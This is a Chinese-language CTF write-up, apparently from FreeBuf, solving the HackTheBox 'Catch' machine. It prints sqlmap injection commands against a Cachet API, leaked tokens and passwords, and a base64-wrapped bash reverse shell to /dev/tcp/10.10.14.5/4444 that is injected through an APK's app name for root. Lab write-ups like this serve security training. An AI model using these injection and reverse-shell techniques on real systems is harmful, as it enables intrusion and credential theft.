freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HackTheBox之Catch靶机
2022-04-30 12:21:26
所属地 广东省

前言

这是一台中等难度的靶机,靶机主要考察的是对安卓程序的逆向分析、SQL注入等知识。

解题思路

image

信息收集

目标主机开放了ssh、web、ppp、udnp等服务

image.png

访问web页面时,发现存在一个APK软件,可以下载下来进行逆向分析。使用的工具是dex2jarjd-gui,发现了一个新的域名

image.png

这边使用MobSF框架对这个APK软件进行分析,发现存在一个lets_chat_token值,这个值非常有用

"gitea_token" : "b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0"
"lets_chat_token" : "NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=="
"slack_token" : "xoxp-23984754863-2348975623103"

image

回到信息收集时的8000端口,发现是一个Cachet的CMS框架

image

在搜索引擎上搜索发现,存在Nday的sql注入漏洞

image

漏洞利用

因为常规的post表单注入SQLMAP无法检测到注入点,因此需要使用盲注注入技巧,这个CMS框架的审计可以参考这篇文章Cachet_CMS代码审计

sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"

image.png

cachet数据库进行注入

sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" --dbs

image.png

对users表进行注入

sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" -D cachet --tables

image.png

对users表进行字段值注入

sqlmap -u "http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+" -D cachet -T users --columns

image.png

继续注入发现了对应用户的账户名和哈希值,但是是使用了Blowfish加密的,不能解密成功

image

没有思路了,尝试fuzz一下路径,发现了两个重定向路径

ffuf -c -u "http://status.catch.htb:5000/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

image.png

使用上面获得了一个token值,可以分别对这些401目录进行网络包请求,Authorization: bearer字段是JWT的schema头定义

curl -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -i   http://10.10.11.150:5000/rooms

可以看到,获取到了很多对应的JSON值信息

image.png

带着请求头信息,去继续模糊web路径

ffuf -c -u "http://status.catch.htb:5000/rooms/61b86b28d984e2451036eb17/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=="

image.png

curl -H "Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" -i   http://status.catch.htb:5000/rooms/61b86b28d984e2451036eb17/messages

得到了john的用户名和密码john:E}V!mywu_69T4C}W

image.png

上传事件时要捕获一个数据包,上传路径和上传参数对应之后发送,可以获取到一个shell终端

image.png

初步判断目前在docker容器内,想要进一步提权可能需要进行逃逸操作

image.png

提权

www-data提权will

查看.env文件发现存在了数据库名和密码s2#4Fg0_%3!

image.png

成功登录will用户

image.png

will提权到root

导入linpeas.sh脚本时,发现了一个存在漏洞的脚本verify.sh,这个脚本中存在一个命令注入点。可以通过控制APP_NAME的值进行命令注入

image.png

可以先使用apktool工具对apk文件进行源码还原,然后找到/res/values/strings.xml文件,并将生成的payload进行替换

echo '/bin/bash \-i \>& /dev/tcp/10\.10\.14\.5/4444 0\>&1' \| base64

image

然后使用新的apktool文件生成一个新的apk文件,因为要成功利用必须使用新的安卓文件进行命令执行

sudo java -jar apktool\_2.6.1.jar b -f -d catchv1.0 -o catchv2.0.apk

image

并对这个新的apk文件生成一个新的签名

keytool -genkey -v -keystore my-release-key.keystore -alias alias\_name -keyalg RSA -keysize 2048 -validity 10000

image

最后将新的apk文件下载并上传到apk_bin目录上,开启监听获取root用户的权限

image

image

# 渗透测试 # 安卓渗透
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录